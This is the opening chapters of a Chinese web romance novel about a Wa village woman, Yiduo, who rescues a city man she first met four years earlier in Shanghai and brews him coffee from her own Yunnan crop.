《依朵》
1. 第 1 章
《夏天的一朵云》
文/词树 2026.4.8
晋江文学城独家首发
[从未想过,命运会送再见的大礼给我。我以为,从前那一次遇见,已耗光了我全部运气。]
卷一:无意穿堂风
chapter 01
二〇一二年,中缅边境,秋。
白露时令,西南边陲小寨细雨阵阵,雨后山川青翠碧绿,峡谷间环绕着片片柔和的白雾。
山风刮过,树叶上的水滴簌簌坠落,如同又下了场不小的雨。
弯弯绕绕的山间乡道上行驶着一辆半新不旧的黑色吉普车,凹凸不平的路面使得汽车颠簸不已。
开车的是个年轻男人,穿着黑色带帽登山衣,露出细碎前刺额发,高挺的鼻梁上架着副黑墨镜,在阴雨天就显得有点突兀的多余,但又衬得那张俊朗的脸格外白净。
随意丢在中控台上的电话里传来声声粗犷的谩骂:“温聿白!你他妈有必要做得这么绝吗?老子身败名裂对你有什么好处?”
“你怎么干脆不去死?你去死啊!!”
“跟你妈一样死在外面最好了!!”
温聿白握着方向盘的手指紧到泛着白印,下颌线倏然绷直,一把抓起手机,不管里面的骂声直接挂断,反手就是拉黑。
车里霎时安静下来,但耳膜内的嗡鸣也随之而来。
修长的手指一颤,手机从手心滑落,掉进驾驶位角落。
山路颠簸,高原低压,不知何时起,温聿白颅内的嗡鸣已经加剧成海啸般的轰鸣。
握着方向盘的手指骨节凸起,一阵阵颤抖着,呼吸也越来越急促,他死死压制着。
车窗外再好的风景也都融为了背景,只想快点达到目的地。
这时候的滇西南部,大多山里的乡道和二级路都是由小石块铺成的砂石路,俗称弹石路,是国内目前最难走的道路之一。
若是没有刚刚那通电话,他或许能安稳到达边境。可照如今这个情况看来,他也不知道自己能坚持多久了。
他看了眼大致位置,粗略估计距离中缅边境线193号界碑应当只有三十多公里了。早知道就把司机带上了。
前方山路急转,温聿白的意志力都在抵抗着颅内的轰鸣,忘了减速,方向盘一转过弯,却不想迎面忽然窜出来一头黄牛。
温聿白瞳孔一缩,立马往左打方向盘,但因速度过快,刹车都来不及踩就翻到了路下。
天旋地转中,他头脑一片空白。
忽然,一声清脆嘹亮的嗓音通过介质,清晰地传入到耳中:“喂!你撞到我家的牛啦!!!”
哦?是吗?
可你的牛好像没有任何问题,一个急撤就跑开了。
而我的问题,好像就有点儿大了。
也不知道,还能不能活得下去。
温聿白不慌不忙地想着。
“咚”地一下,脑袋重重磕在车顶上,他顿时眼冒金星,右耳一空。
又“砰”地一下,额头砸在车窗上,左耳也空了。
不过几秒,却好像过了很久。
车身停止翻滚,世界静悄悄的。
温聿白勉强睁开眼望出去,路下方草木丰盛,吉普车像是滚进一张天然的大网里,被树和藤蔓卡住,侧翻在半山腰。
安全气囊弹了出来,卡得他呼吸艰难,腿似乎有点不太好,疼得刺骨。温聿白动了一下便放弃挣扎,缓缓闭上眼。
要死了。
那一瞬间,脑海里只浮现这个念头。
若是能和边境线上的先辈英烈埋在一处,似乎死在这里也不错。
——青山埋白骨,马革裹尸还。
路上方忽然冒出一个黑皮肤圆脸姑娘,炯炯有神的眼睛瞪得老大,尽管害怕担忧,但还是高声询问:“喂——你不有得事嘛?”
温聿白脑内轰鸣阵阵,什么都听不见。
安静得似乎死掉了。
依朵哆嗦了一下。
不会吧,她就是出来放个牛而已,不会就成杀人犯了吧?
闯祸了的黄牛犹不自知,见她呆在路边,还伸了牛头来轻顶她。
依朵瞬间反应过来,连滚带爬翻到路下,踩着草木爬到吉普车旁边,扒着车窗往里看去。她这一方是副驾,主驾的男人斜靠在车窗上闭着眼一动不动。
依朵吓得腿都抖了,深吸一口气,开始猛拉车门,拉了几下没拉动,她急得砸起车窗玻璃。
“砰!砰!砰!”
一下又一下,用拳头、用手肘,不怕疼一样。
一阵又一阵的震感将陷入深渊的人拉回些许思绪。
他睁眼,侧目看去。
有人在拼了命地救他。
是一个有着黝黑皮肤的圆脸姑娘,似乎是少数民族,五官深邃,乌黑秀发扎在脑后,穿着黑色无领绣纹服饰,胳膊上戴着一圈儿素银镯子。
见车里的男人睁了眼,依朵喜极而泣都快要哭了,急忙拍打车窗:“喂!你还好吗?给出得来呢?”(能出得来吗)
他不说话,冷漠地看着她,枯井一般的眼里没有一丝温度。
依朵被这冰冷的眼神憾住,胳膊上立即爬满一层鸡皮疙瘩。
怎么说呢,那眼神,有种将死之人的冷漠。
他不想活了?
那可不行,她不想做杀人犯,更不想蹲大牢啊。
依朵舔了舔唇,慌得额头上都冒出密密麻麻的汗珠,胳膊砸了几下车窗后,她一低头看到树根处的岩白石,焦急的眼睛忽而一亮,连忙抱了起来。
温聿白一动不动,就那样冷淡地看着她。
依朵深吸一口气。
赔就赔了,总比坐牢好。
一咬牙,她抱着石头冲上副驾的玻璃窗——
“砰!”
“砰!”
“咔嚓!”
玻璃终
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于碎裂开,其中一片细碎飞屑冲着男人面颊飞去,他什么动静都没有,只是轻微闭了闭眼,碎屑擦着他颧骨飞过,划开了一道口子。
他没感觉到疼。
依朵用石头将整片玻璃扒掉,丢开石头后手抖得不成样子。她喘了口气,随即上半身爬进车窗,一把抓住男人的胳膊,使出全身的力拖拽。
安全带勒着他,差点没把温聿白拽成碎片。
疼,特别疼。
他不得不出声制止她的暴力行为:“住手。”沙哑的声线低沉又冷漠。
圆脸姑娘漆黑的眼里满是慌张和疑惑,力是轻了,但动作没停,还在往外拽他。
她真的很想要救他。
所以,活下去吧。
就为了这一刻。
不能成为别人的负担。
温聿白闭了闭眼,颤抖着手去解安全带,解不开,只能扯着从安全带里钻出来,刚闭着眼喘了口气,圆脸姑娘就立马抓住他的胳膊。
一股热热的、粗造的、蓬勃向上的生命力透过皮肤传了过来。
另一手紧紧抱住他的肩,拔萝卜似的往外拔。
七拽八扯,依朵终于把男人从车里拽了出来,又背着他爬到了公路上,这才小心翼翼地放下男人,转头就发现他的腿在哗啦啦流血。
依朵吓了一跳,立马抬头看向男人,急切道:“你的腿——”话在看清男人面容时戛然而止。
世界有一瞬是静止的。
而后山风缓缓吹过,树叶哗啦啦轻响,远处黄牛哞哞叫唤;风里带来了一股坚果焦糖的香气,依朵知道,那是咖啡的香味。
可她不知道该怎么诉说这一刻。
在她贫瘠的文化知识里,只有两个字可以形容,那就是——宿命。
她竟然,再次见到了他。
那个她以为隔了万水千山、隔了十万八千里,于茫茫人海中惊鸿一瞥的,永远永远也不会再见到的人。
四年光阴,洒在他身上的咖啡早已洗净,可味道却贯穿了她整个青春。
而今,二十二岁的她或许早已算不上青春年少,可她仍然记得。
记得当初见他的第一眼,心跳是怎样的失控;记得后来的青葱岁月里,想起他时的悸动与失落。
因此当她知道生她、养她的这片土地能种植出咖啡时,她是多么开心、多么庆幸。
庆幸她或许,真的能有机会,赔他一杯咖啡。
并在此后的一千二百多天中,为那概率几乎为零的可能坚持着。
哪怕知道再无相见的可能;哪怕光阴早已磨灭了记忆中他的模样。
可命运,总会给人送上一份份大礼。
在她彻底记不清他的样貌时,眷顾之神“铛”地一声,敲在她的脑海里。
自此,他的音容样貌又清晰明了了起来。
这个时候,是该说一声‘好久不见’吗?
他或许,早已不记得她了。
2. 第 2 章
[别看芸芸众生都活在同一个世界里,但每个人脚下的路却各有不同。有的人,你看到他第一眼,他虽然站在你面前,但你知道,面前隔了山海。]
chapter 02
二〇〇八年的八月盛夏。
那是依朵第一次离开大山、离开家乡。
这年她刚过完十八岁生日,兜里揣着阿妈给的一千六百块钱,一个人从县城坐班车到市里,再坐火车到昆明,又转火车到浙江温州。去接比她大三岁的包哥(bāox gei阿哥)出狱。
阿哥初中毕业就出去打工了,是寨子里第一个出省打工的人。
两年前,依朵在市里上高一,阿妈突然生了场大病。电话打到阿哥打工的地方,阿哥一时心急偷了老板的手表去卖钱,被老板报警抓住进了监狱。
阿妈得知消息后头发都哭白了,依朵也从学校退了学。
前两年依朵还未成年,阿妈腿脚也不好,她们到不了那么远的浙江去看阿哥,因此出狱时阿妈才会千叮咛万嘱咐一定要来接他。
为此,依朵已经准备了整整两年。
这一路上的辛酸暂且不谈,当她跋山涉水站在监狱大门口的那一刻,鼻尖就忍不住发酸。在看见穿着洗得发白的T恤牛仔裤,剃着寸头出来的阿哥时更是泪洒四方。
岩勐山见到长大了的阿妹也泪湿眼眶,走过去抱住阿妹,一度哽咽到说不出话来。
但狱警没给他们寒暄的时间,吆喝两声将他们赶走了。
岩勐山带着依朵在温州火车站附近吃了简单的快餐,而后找了个便宜的小宾馆入住。
进房间放下行李包,岩勐山转头第一句话就是:“考上哪个大学了?”
依朵眸色一暗,垂头不语。
家里穷,有不起电话,阿哥自然也不知道家里这两年的状况。当初还是借了医院的座机才给阿哥打了个电话呢。
岩勐山盯了她好半天,心脏渐渐沉入深渊。他死死忍住泪水,最后一抹脸庞,说了句:“是哥对不起你。”
“跟阿哥没关系啊。”依朵忙抬起头,“是我自己呢选择。”
寨子里大部分姑娘初中毕业就都不读书了,有的甚至初中都没毕业就嫁人的嫁人,回家的回家。
只有达永(村长、寨长)家的依慧考上高中、上了大学,是寨子里第一个高材生。当时可羡慕坏了不少寨子里的人呢。
因此当依朵也考上了高中,而且还是市一中,拿到通知书的那一刻,阿妈的背脊一下就挺直了。岩勐山更是扬言,不管多苦多累,他都一定要把妹妹供上大学。
可如今,什么都没了……
岩勐山红着眼眶,腮帮咬了又咬,最后从兜里捞了根烟出来,站在狭小的窗户前看着外面,点燃后深深吸了口,脸颊凹陷,眼神沉重自责。
一失足,成千古恨。
说不悔恨是假的,可当时他已经没办法了,只能走上绝路。
唯一庆幸的是,阿妈渡过了难关。
如今他牢子也蹲了,人也出来了。想想又好像也不是那么后悔了。
一根烟抽完,他转过头,嗓音沙哑:“来都来了,给想克哪呢逛逛呢?”(想不想去哪里逛逛)
依朵想说哪里都不去,但见阿哥眼里的沉重,思绪顿了顿,她改口道:“我想克(去)上海看看。”
岩勐山嗯了声,走过去,粗糙的手掌摸了摸阿妹的脑袋:“好,明日我们就克上海。”
宾馆只定了一间,但床是两张单人床,依朵洗漱完躺进被窝里时岩勐山还站在窗户边抽烟。
她抬头看了看那道略微佝偻的背影,知道阿哥心里也不好受,就没说话。
想到明天可以去上海,说不开心是假的。
她从来没想过,有生之年还能去看东方明珠。
她以为辍了学后,她就一辈子也出不了大山了呢。
当初说不读就不读了,依朵不是没后悔过,可再来一次,她还是会这样选择。
但她知道,山里的女孩,读书才能改变命运。她不想一辈子困在山里,不想吃饭时只能蹲在火塘边,连饭桌都上不了。
她还想出去看看世界,长长见识。
因此她借来村长家依慧的书本,边放牛边看,边做农活边默默自学。
那时候没有电子产品,也没有小说杂志,每天两眼一睁除了山还是山。书本就成了依朵了解世界的唯一途径,她将书本翻得起了毛边,但依旧乐此不疲。
而今能去上海这座繁华的大都市里见世面,她心底不知有多期待。
次日一早,兄妹俩简单吃了碗面就坐上了最早的火车抵达上海。
这时的北京刚开完奥运会,上海也热闹。
依朵一路上都很兴奋,看见什么稀奇的都会问一问阿哥。
岩勐山早出来几年,面对繁华的大都市早已经面不改色,甚至连上海都来过两三次了。见依朵什么都好奇,便干脆当起了小导游。
从上海站出来,依朵跟着阿哥,先后去了静安寺、上海图书馆、博物馆。中午吃了个简单的午饭,下午去了大悦城,然后从南京路去上海外滩。
依朵一路走一路看,连酷暑的闷热都阻挡不了她的好奇。
她见到好多好多金发碧眼的外国人,听到有人说英语还会不自觉停下来旁听。个别词能听懂,百分之九十九是完全不懂的,但她还是一脸新奇地去听、去看。
走了一半路,岩勐山看见洗手间,问她去不去,依朵正跟在一群外国友人身后,闻言飞快摇头,岩勐山让她不要跑太远,便自个去了。
依朵左耳进右耳出,不知不觉跟着那群外国友人走进了一处安静的地界。入眼便是干净整洁的大理石地砖,修理整齐的绿植,金碧辉煌的建筑。
她仰起头,周围全是高耸入云的摩天大楼,十分陌生。
依朵回过神,心顿时慌了,立马往回走。
不想刚转身就猛地撞上了身后的男人。
“哗啦”一下,棕褐色的液体洒了男人一身。
黄昏时分,夕阳从高楼大厦的缝隙里穿过,依朵一抬头就看见张帅得过分了的俊脸。
比电视里的男明星还要好看,皮肤白净、剑眉星目、鼻梁挺直,五官标志得没话说,个子更是高挑挺拔。
她从不知道,原来男人也能这么白、这么高、这么好看。是她见过的男人里,最最最好看的一个了。
“操!哪儿来的非洲小黑妞,走路不长眼啊!!”一声怒斥从旁边传来,依朵这才发现还有另外一个人。
她一惊回神,见男人洁白如雪的衬衣上大片棕褐色的液体,明白这是自己闯的祸,一时间慌乱不已:“对,对不起!”
她急忙从兜里捞出一卷卷起来的卫生纸,上前就要去给男人擦一擦。
旁边穿黑衣服的男人嫌弃地皱了皱眉,一把拍开她的手,“让开,脏死了!”
依朵眼眶瞬间就红了,紧紧捏着卫生纸,哑着嗓子连声道歉:“对不起对不起……”
男人淡淡地瞥了友人一眼,黑衣服男人耸了耸肩不再说话,双手插进裤兜,脸扭朝一边。
男人这才转过头看向她,神色平淡地说了声没事。
他的声音低沉温和,像山泉一样温柔动听,话中并无责怪之意。
可依朵大脑却短暂的空白了一瞬,随即不知所措起来。
明明他都没有骂她,但她的眼泪却还是难以抑制地冒了出来,依朵急忙低下脑袋。
男人说完没事就已绕过她走到路边,将空了的咖啡杯丢进垃圾桶,稍顿两秒,仍是忍不住惋惜地叹了句:“可惜了这杯咖啡。”
黑衣服男人走上前,轻嗤了一声:“贵了几百倍的衬衣不可惜,可惜一杯咖啡?”
男人摇头轻笑,说:“你不懂。”
他从兜里捞出一包黑金色包装的纸巾,抽出一张擦了擦手上的咖啡渍,纸巾丢进垃圾桶,带着黑衣服男人转身进了旁边的大厦。
全程将罪魁祸首无视了个彻底。
依朵站在原地,泪眼朦胧地看着他远去。
男人后脑饱满,短发清爽,白衬衣衣摆塞进黑西裤里,更显腰身劲瘦,双腿笔直修长。
有的人,连背影都那么好看。
很多年后,依朵才知道他这种身材是男模的黄金比例——宽肩、窄腰、大长腿。
难怪她念念不忘那么多年。
也难怪后来,她再看身边的男人,都觉得他们差了些什么。
而十八岁的依朵,只能在一阵阵陌生的悸动中,怔怔地看着他的身影消失在高高的罗马柱后。
周围没有一个人,此间寂静,依朵只听见自己砰砰砰跳动的心跳声。
胸腔里似乎揣了头鹿,一整个横冲直撞,怎么都平静不下来。
好听的声音一遍遍在耳中回荡着。
kafei是什么呢?
她抬手擦了擦眼睛,一步一步走上前,干净的垃圾桶里只有一个染了污渍的纸杯子和一张揉皱了的纸巾。
鬼使神差的,依朵弯腰全部都捡了起来,转动纸杯,这才看明白‘咖
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啡’两个字。
这是她第一次听说咖啡。
也是第一次闻到咖啡的味道,她凑近了杯口,好香。
那张纸巾也好香,带着一股纯净的香氛,纸质细腻,洁白如雪。
她再看向自己手里攥得皱巴巴的暗黄色卫生纸,高低立下,一眼分明。
那一刻,依朵明白了人跟人是不一样的。
有些人,他虽然站在你面前,但你一眼就能明白,面前隔了山海。
他在云的那一头,身姿卓越;
而你,陷于泥的这一头,满身狼狈。
—
岩勐山从洗手间出来时,就看见自家妹子安静地站在街边,失神地望着远处,手里端着个纸杯子。
他走上前,拍了拍依朵的肩膀,“买东西了噶?”
依朵回神,看向岩勐山,心不在焉地问:“哥,你给(有没有)喝过咖啡?”
“咖啡?”岩勐山视线下滑,见杯子是空的,心脏针钻似的疼,他扭头四处看,“要喝哪样(什么)我给你买,你不要路边乱捡……”
“不是路边乱捡呢……”
她一顿,还真是路边捡呢。
依朵顿时有口也说不清了,只得把空咖啡杯丢进垃圾桶,“我也不想喝。”
她转身就往前走去,“走啦,我们克前头(前面)看看。”
岩勐山看着阿妹的背影,嘴唇抿了抿,跟了上去。
到达外滩时夜幕正好降临。
黄浦江边两岸的高楼大厦亮起璀璨的灯光,江面波光荡漾,汽笛嗡鸣而过,东方明珠塔高高屹立在对岸,整个外滩星光璀璨,好不热闹。
依朵站在江边,扶着栏杆深呼吸了一口湿润的空气,看着眼前繁华的大都市,心情忽然就好了起来。
她是寨子里第一个来到上海的姑娘呢。
外滩多得是拍照的人,依朵被忽悠着拍了一张跟哥哥的合照,要二十块钱。岩勐山狠狠盯了眼拍照的人,但见自家阿妹看着照片挪不开的目光,黑着脸付了钱。
在外滩待了一个多小时,他们从这头走到那头,来往的人流络绎不绝,外滩也越来越挤。
岩勐山说回去吧,不然赶不上最晚一趟火车了。
依朵应了声,走前回头再看了眼这个繁华的大都市。
再次顺着南京路往回走,越来越接近那个路口,依朵的心脏无端鼓噪起来,又慌又胀。
她无话找话:“哥,你以后还出来打工呢噶?”
岩勐山双手插进牛仔裤兜里,仰头看着夜空,说:“出来啊,要赔钱呢。”
想起当初打回来给阿妈治病那三万块钱,依朵抿了抿嘴,说:“我跟你一起赔。”
岩勐山笑了下,“你照顾好自己跟阿妈就是安我呢心了,不消(不用)你来赔,我苦个三五年就还得清了。”
依朵沉默片刻,转开话题:“哥,你说我们真呢很黑呢噶?”
岩勐山愣了愣,低头看阿妹:“黑这不是正常嘛,咋过了?”
因为有人很白,白到像天上的云朵,好看得不得了。
可这话依朵说不出口。
站在路口,前方是红灯,中间车辆往来。
岩勐山又抬起头,说:“黑多健康啊。城里有些人听说还专门克海边晒了黑黢黢呢,说是叫美黑呢……”
依朵安静听着,眼睛盯着前方的高楼大厦,余光却不自觉往斜后方飘去,这一看,整个人身体倏然绷直,手心紧紧捏在一起。
他换了身干净的白衬衣,衣摆照样塞进黑西裤里,身姿挺拔,眉目俊朗。
白衬衣袖口微微卷起,银白腕表闪着光,单手插兜,腕侧夹着个棕黄色的文件袋。
男人唇角挂着温和的笑意,不知和身侧的友人说了句什么,引得黑衣服男人不服气地撇嘴耸肩。
他们逆着人流往路口走,外形太过出色,总有那么几颗脑袋忍不住回头张望。
依朵隔着人群,眼都不敢眨,呆呆地看着那道若隐若现的身影走到路口。以为他也要等红绿灯,却见信号灯后的路边停着一辆线条流畅的黑色轿车,暗黄色车灯一闪一闪的。
他径直走过去,黑衣服男人笑着拉开后座车门,他躬身上车,后者也跟着上了车。
车门关上,不过几秒,黑色轿车的双闪消失,车灯亮起,起步离开。
很快消失在上海昏茫夜色下的马路上。
依朵心里倏然空了一块,直愣愣看着马路尽头。
后知后觉想起,她撞翻他的咖啡,应当赔他一杯的。
3. 第 3 章
[你问我为什么种咖啡,我说了很多很多理由。但最初,我其实连咖啡都不知道,只是撞翻你的咖啡,要赔给你一杯而已。]
chapter 03
温聿白再次醒来的时候世界一片安静。
两耳空空,大脑也空空。
没想到他竟然昏过去了。
而后慢半拍地想起自己为什么会在这儿了。
他翻车了。
然后被一个姑娘救了。
温聿白看了眼环境,屋内光线昏暗,头顶是一根根木头搭建的房梁。而他躺在一张木床上,正对着一扇木窗,窗外秋雨绵绵,灰蒙蒙的天色,难怪屋内光线暗得快要看不清。
正要从窗户收回视线,鼻腔忽然闻见一股坚果焦糖味的浓香,浓香中又带着一股淡淡的果木酸。
思绪微微停滞了一下,他轻轻嗅了嗅,这是——咖啡豆的香味。
用古法烘焙而成,因为有碳火的味道,豆子……应该是卡蒂姆。
云南西南部地处北回归线附近,因纬度低、海拔高的独特地理环境形成了亚热带季风气候,使得高黎贡山以南的保山等地水热条件适宜,成为了全国乃至全球的咖啡黄金种植带。
这其中,卡蒂姆原豆因抗叶锈病强、适应性强、产量高,与云南西南部亚热带季风气候及微酸性山地红壤高度契合。近年来逐渐成为滇西南部助农推广主要品种,也称为云南小粒咖啡……
等温聿白回过神时,脑海里已经自动滑过这段关于云南咖啡的科普介绍了。
上半年,他在腾冲边境、中缅界碑共和国一号到九号界段勘探期间,曾路过全国最大的咖啡种植园区。因与庄园老板投缘,故而小住几天,这才对云南小粒咖啡有了全面的了解。
但那是保山,可这里不是梦县吗?
男人视线微转,往香味来源处看去。
一炉烧得旺盛的小火炉放置在他床前不远处的木板地上,穿着独特民族服饰的姑娘侧对他而坐,手里不断颠簸着一口巴掌大的小铁锅,锅里咖啡豆被烘得逐渐焦黄。
坚果焦糖味的咖啡香就是从这里散发出来的。
他安静地看着。
几分钟过去,她拿过旁边的竹编小簸箕,将烘得焦黄的咖啡豆进簸箕放到一边晾着,随后把地板上放着的小陶罐端起来放在火炉上煨着。
正端过小石杵臼,似乎感受到他的视线,她猛地转过头来,漆黑的眼一下亮了起来,嘴唇开合:“你醒啦!”
温聿白想起翻车前那道黄鹂似的嗓音,平淡地应了声。
他屈肘撑着床起身,那姑娘飞快过来,满室的咖啡香气中混入一股舒肤佳的清润气息,他坐了起来。
她似乎说了什么。
他抬眸,看向她的脸,出声问:“你刚刚说什么?”顿了顿,补充,“我没注意到。”
依朵愣了下,随即被他专注的视线盯得有点挨不住,心脏不争气地砰砰乱撞。不知道他在看什么,她已经洗过脸梳过头了。
依朵不自在地别了别耳后的头发,嗓音低下去,说起练了好久的普通话:“你的腿,还疼吗?”
温聿白垂眼,动动腿,轻轻嘶了声,“是还有点儿疼。”又抬起头看她,“谢谢你救了我。”
他只记得被她背到路边,那时还感叹她一个姑娘家竟然有如此大的力气,随后躯体化发作得格外猛烈,失血过多更是使得他眼前一阵阵发黑,往后一倒便什么都不记得了。
依朵再次对上他漆黑的眼眸,不自在又一次爬上背脊。
她轻握手心,说话竟然结巴了起来:“是是我家的牛先撞了你,对对不起。本来应该送你去卫生院的,但那时候……没车。”
她小心地看他一眼,见他没什么反应,又飞快接上:“我就先把你背回寨子了,不过你放心,寨子里的叶阿婆来看给你看过了,包了药的。”
温聿白垂首,掀开玫红黑相间的被子,他受伤那条腿的小腿肚上绑着黑色的布料,有草药的味道散发出来,他没说什么,重新盖上被子。
依朵在旁边小心翼翼地看着他,轻咳一声:“叶阿婆的药很好用的,如果你实在担心的话,我去请达永(村长)送你去卫生院……”
男人没反应,浑身散发着一股生人勿近的淡漠气息。漆黑蓬松的脑袋低垂着,一截骨节分明的后颈从衣领里露了出来,皮肤白到透明。
依朵心脏顿时扑通扑通提起,视线飞快挪开。她从前不觉得白色好看,佤族喜爱黑红两色,黑得越深,代表越健康。但自从遇见了他之后,她觉得世界上除了黑色外最好看的颜色就是白色了。
你看那湛蓝天空里的云朵、纯洁无暇的纸张、电视机里新娘的裙摆……无一不是美好的白色。
从上海回来,不知道他姓甚名谁的那几年,她一抬头看见天空中洁白的云朵就会想起他,想起他身上的白衬衣,想起他俊美白皙的脸……
因此她心里,总把他比作天上的云朵。
屋里静悄悄的。
静到屋外风吹雨淋的声音是那样的清晰。
依朵吞咽了一下嗓子,指甲掐住掌心,硬着头皮再次开口:“如果你担心伤口,我这就去——”
男人忽然抬起头,笔直的目光再次落在她的脸上,依朵喉咙一卡,再也说不出来。
他出声问:“你刚刚说什么?”声音很好听,但却有些轻飘飘的。
温聿白说:“不好意思,刚刚走神了一下。”
原来是走神了啊,不是故意不理她的。
依朵急忙摆了摆手,尽量习惯他的目光,说:“如果你担心伤口,我这就去达——”顿了下赶忙改口,“村长家请他送你去卫生院……”
整个寨子只有村长家有车,也不知道他在不在寨子里。
温聿白摇了摇头,随意说:“血止住就没事了。”他对自己的伤口不怎么在意,反而转向地板上那一堆东西,“你在煮咖啡吗?”
话题跳跃有些快,依朵愣了一下,跟着他的视线转向火炉,“是的呢。”
男人似乎没听见,眼睛看着快要沸腾的瓦罐,“不煮吗?”
他又转头来看她。
依朵虽然还是有些不自在,但已经没有一开始被他看着时那么紧张了。
她发现,他会在别人说话时认真地看向那个人,是一种尊重他人的表现,应当是跟他的良好教养有关。
她吞了吞喉咙,声音不知怎么地也跟着发飘:“你,你喝咖啡吗?”
温聿白看着她,不知是不是她的错觉,她看见他漆黑的眸子里闪过一丝波纹,依朵还来不及看清,他就出声反问:“要煮给我喝吗?”
依朵点头。
她在心里补充:就是专门煮给你的咖啡。
当是赔你四年前那杯。
哪怕你已经不记得了。
温聿白说:“那就先说声谢谢了。”
依朵再次摆摆手,看了他一眼,走回火炉旁,继续刚才的工作。把小石杵臼摆好,原本习惯要直接动手抓豆,反应过来后跑出去拿了一把瓷勺回来,一小勺一小勺舀起来倒进杵臼里,又一下一下地舂磨了起来。
房间再次安静下来,屋外风雨潇潇,屋内杵臼舂磨,炉火旺盛。
温聿白安静地看着姑娘忙碌的身影,片刻,他转眼看向窗外。
远山氤氲,秋雨压低树梢的枝头,绿叶轻轻晃动,暖融融的咖啡香拂过鼻腔。
那片刻,他心里从未有过的宁静。
人生或许很少有这样安宁的时刻,至少对他来说,活着仍有意义。
磨好咖啡,依朵把咖啡舀进小瓷碗里,等瓦罐里的水沸腾时把咖啡粉倒进去,沸腾一道后再加了一次清水,等第二道沸腾时端下来。
她转过头问他:“要加糖吗?”
温聿白视线落在她的脸上,摇了摇头,看她手法熟练,便问:“家里是专门种咖啡吗?”
依朵摇摇头,“没,就随便种了几棵。”
她将咖啡倒进瓷白色的小碗里。没办法,家里没有专门喝咖啡的咖啡杯,只能用碗了。
她端起来递给他,手指不知道为什么有些抖。
“你,你喝喝看。”
温聿白接过,又说了声谢谢,垂眼轻轻抿了口。咖啡口感醇厚,酸度柔和,苦味微弱,咽下去后有淡淡的焦糖味回甘。
依朵紧张地看着他。
自从去年收了自己种的咖啡豆之后,她这一年来煮过不知多少次咖啡了。
近几年,政府在大力推广咖啡种植,茶城市最大的咖啡种植基地异地扶持梦县,成立咖啡合作社,向百姓免费发放咖啡苗的同时自然也开设了咖啡相关知识的培训课,从种植培育到挂果管理、采摘处理到最后的烘焙研磨。
依朵每逢赶街都会去乡上的乡村振兴单位,或者条件允许就去县合作社开设
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的培训课去旁听学习。但因为不连续,学得不怎么精通,也不知道用自己种的豆子煮出来的咖啡味道怎么样。
温聿白抬眸就看见皮肤黝黑的姑娘一脸紧张地看着自己。
她的五官其实很漂亮,浓眉大眼、鼻梁高挺、唇形丰润,骨相大气端正,乌发也浓密。
或许是少数民族的原因,炯炯有神的大眼睛里永远有光,看着就能感觉到生命的力量。
依朵见他不说话,急得都舔了舔干涩的嘴巴了。
没事的,不好的她也能接受。
温聿白忽而笑了下,说:“味道不错。”
依朵提着的心落地了,稍稍松了口气,随即开心起来。
他说不错呢,而且刚刚他还笑了!
“只是——”
依朵刚雀跃起来的心滞住,直愣愣抬头看他。
温聿白指尖轻点了下咖啡碗,说:“风味很单一。”
依朵不懂风味单一是怎么个单一法,只觉自己弄的有问题,急忙说:“我,我会努力改进的!”
男人眼底滑过一丝波澜,唔了声,说:“风味单一是卡蒂姆原豆的短板,只跟海拔气候有关,你难不成想改进地理环境?”
依朵愣住,随即看了他一眼,又看一眼。
嘴唇蠕动,想说什么,最终没说。
这是……逗她呢?
男人对上姑娘狐疑的视线,眼尾轻抬,不避不让。
他是看她对他过于小心翼翼了,整个人处在一种紧绷的状态里。
这应该不是她的本色,他猜到些许原因——她家的牛撞翻他的车,她为此感到自责。
可在那种情况下,如果没有她,今天他是什么情况犹未可知。现在他能好好活在这里,说声感谢也不为过。
但他知道,说出来她会更加小心翼翼,索性不说。
再次抿了口咖啡,温聿白转开话题:“茶城现在不是大力推广咖啡种植么,你家怎么只种几棵呢?”
依朵垂下眼,抠抠瓦罐的把把,低声说:“阿妈觉得是骗人的,寨子里的人也说咖啡听都没听过,肯定卖不成钱,还不如种茶。”
阿妈一辈子就在这座山里,最远只去过县城,连市里都没去过,寨子里的人也是,走出去见过世面的很少。
而整个梦县,种咖啡的就更少了。
前几年倒是有大老板来包地种了,可惜没赚到钱,跑路了,连老百姓的地租都欠着呢。
都说好事不出门,坏事传千里,这事当初可是传遍了大村小寨呢。
而茶城之所以是茶城,就是因为全市茶叶占了全省茶叶的百分之八十,是我国茶叶产量较大的城市。因此茶叶才是茶城的主要经济农作物,也是茶城农民的重要收入来源。
她能种这么几棵,还都是阿哥支持的结果呢。
温聿白挑眉,垂眼看向地板上她那一整套的咖啡工具,“你很喜欢咖啡?”
“……喜欢的。”
说起跟他有关的事,依朵有些微微的不自在,“哥哥说咖啡在大城市里很流行,我们这里据说气候条件适宜。我,我想种一些试试。”
最后一句有些底气不足,眼皮都垂下去了。
温聿白看出来了,他端着暖和的咖啡,一时没说话,只抬眸看向窗外灰蒙蒙的天。
雨不知何时停了。
好半晌,男人轻声说:“咖啡如今已经风靡全世界,是西方国家的重要经济产物之一,并被外国人列为世界三大饮料之首。”①
“我国一二线大城市对咖啡的需求也在持续增长,日益旺盛的市场推动下,咖啡将迎来爆发式的消费升级,这是个难得一遇的大机遇。”
“但它的生长对自然环境有着非常严苛的水热要求,全球也只有少数几个地处北回归线的国家适合种植,而中国,更是少之又少。”
他转回头,看着她的眼,“这么好的种植条件,又有这么好的市场前景,试试又如何呢。”
依朵眼睛再次亮起,甚至亮得惊人,“真,真的吗?市场真的这么好吗?能让我们脱贫致富?”
温聿白看着她眼底的惊喜,沉默片刻,问:“你当初……到底是为什么要种咖啡?”
依朵目光闪躲着挪开了,揉了揉鼻子,支吾道:“那市里不是在推广嘛。哥哥也说咖啡好,而且这批苗苗也不要钱,我就领回来种了。”
温聿白:“………”
4. 第 4 章
[我不关心什么大人物,我只关心屋里的人。]
chapter 04
其实最初听到政府宣传咖啡种植的时候依朵是惊喜的。
而且不是一般的惊喜,是有种被命运砸中的巨大惊喜——她们这里,竟然能种出咖啡!
她当时甚至连咖啡树长什么样都不知道,每逢赶街就往南洛乡跑,没车就自己走路去。
合作社大肆宣传咖啡的前景有多么多么好,产量多么多么高,收入多么多么可观,好多人不信、害怕,但依朵不怕,还是合作社发苗领苗的第一批人。
她当时领了整整两百株苗苗回来,可惜阿妈不给她地。她只能在茶地、玉米地周边悄悄地栽。她是第一次栽,不得要领死了好多苗苗,曾一度灰心到想要放弃。
到如今能让他喝上一杯她亲手种出来的咖啡,她又倍感庆幸,庆幸她那时候没放弃。
窗外的风轻了,雨也停了。
屋内静得依朵心里直打鼓,她感觉自己好像回错话了。
赶忙补救道:“但最主要还是因为喜欢。我喜欢咖啡的味道。”
是的,因为喜欢。
那是她青春岁月里最浓重的一笔。
关于咖啡,关于他。
